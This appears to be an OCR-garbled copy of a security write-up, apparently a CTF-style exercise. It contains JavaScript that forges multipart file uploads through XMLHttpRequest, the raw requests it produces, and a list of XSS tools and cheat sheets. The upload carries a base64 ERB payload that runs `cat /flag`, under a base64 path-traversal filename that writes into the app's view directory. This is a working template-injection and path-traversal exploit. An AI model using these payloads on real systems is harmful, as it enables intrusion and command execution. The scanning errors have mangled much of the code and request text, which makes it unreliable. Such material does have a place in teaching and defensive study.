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var formData = new FormData();

formData.append("authenticity token", '1212121212");
formData.append("file[context]", "zxcvxzcvxzcv");

var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //XE KN % K base6s

var blob = new Blob([content], { type: "image/png"});
formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy90ob211L2FhMzguzXJi");
formData.append("commit", ‘submit');

var request = new XMLHttpRequest();

request.open("POST", "https://xz.aliyun.com/t/3245");

request.send(formData);

------ WebKitFormBoundaryKuQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="authenticity token"

1212121212
—————— WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[context]"

ZXCVXZCVXZCV
—————— WebKitFormBoundaryKuQ7zZnBZ9d5xKT2

/ /X BRI ZKIbase6d

Content-Disposition: form-data; name="file[myfile]"; filename="Ly4ulLyd4ulL2FwcC92aWV3cy9ob211L2FhMzguzXJi"

Content-Type: image/png

PCU9IGBjYXQgL2ZsYWcgYCAlPg==
—————— WebKitFormBoundarykKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="commit"

submit
—————— WebKitFormBoundaryKUQ7zZnBZ9d5xKT2- -
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var formData = new FormData();

var content = 'testestestes'; //XRXHNZEHbase6s

var blob = new Blob([content], { type: "text/plain"});
formData.append("file[myfile]", blob,"haha.txt"); //XHER4Kbase6s
formData.append("commit"”, 'submit');

var request = new XMLHttpRequest();

request.open("POST", "https://xz.aliyun.com/t/3245");
request.send(formData);
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—————— WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="file[myfile]"; filename="haha.txt"
Content-Type: text/plain

testestestes
—————— WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="commit"

submit
—————— WebKitFormBoundaryFcFYtbPnXsigq8yjI--
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xhr = function(){
/*AJAX*/
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
try {
request = new window.ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {}
}

return request;
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request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=="POST"')xhr.setRequestHeader('Content-Type',content_type);
xhr.send(argv);
return xhr.responseText;

}
attack_a = function(){
var src = "https://xz.aliyun.com";
var authenticity_token = "1212121212";
var file = "zxcvxzcvxzcv";
var argv_0 = "\r\n";
argv_0 4= M----mmmmemeeee oo 7964f8dddeb95fc5\r\nContent-Disposition:

name=\"authenticity_token\"\r\n\r\n";
argv_0 += (authenticity_token+"\r\n");

argv_0 4= M-----mmmmmee oo 7964f8dddeb95fc5\r\nContent-Disposition:

name=\"file\"\r\n\r\n";
argv_0 += (file+"\r\n");
argv_0 4= Moo 7964f8dddeb95fc5--\r\n";

request("POST",src,argv_0, "multipart/form-data; boundary=---------------

TR Ak

form-data;

form-data;

----7964f8dddeb95fc5");



--------------------- 7964f8dddeb95fc5
Content-Disposition: form-data; name="authenticity_token"

1212121212
--------------------- 7964f8dddeb95fc5
Content-Disposition: form-data; name="file"

ZXCVXZCvVXzZcv
--------------------- 7964f8dddeb95fc5- -
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} else if(window.ActiveXObject) {
ry{ RSnakeXss
request = new window.ActiveXObject('Microsoft XMLHTTP");
}cateh(e) {} HTML5Sec
}
return request;
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request = function(method sre,argv,content_type}

xhr.open(method,src.false); copz

if(method=="POST')xhr.setRequestHeader('Content-Type',content_type); .

xhr.send(argv); =5

return xhr.responseText; ExtProbe
}

attack_a = function(){
var src = "hitps://xz.aliyun.com"; XSSProbe
var authenticity_token = "1212121212";
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javazr

DESC

A XSS fuzzing misc.

Browser's XSS Filter Bypass Cheat Sheet.
Classical XSS Filter Evasion Cheat Sheet.

More than HTML5 Security Cheatsheet.

DESC

Browser Exploitation Framework Project.
Chrome installed extensions/plugins.
IAMANEWBOTNAMEDCORSBOT.

A small but classical XSS probe.

A tiny tool for Flash hacking.
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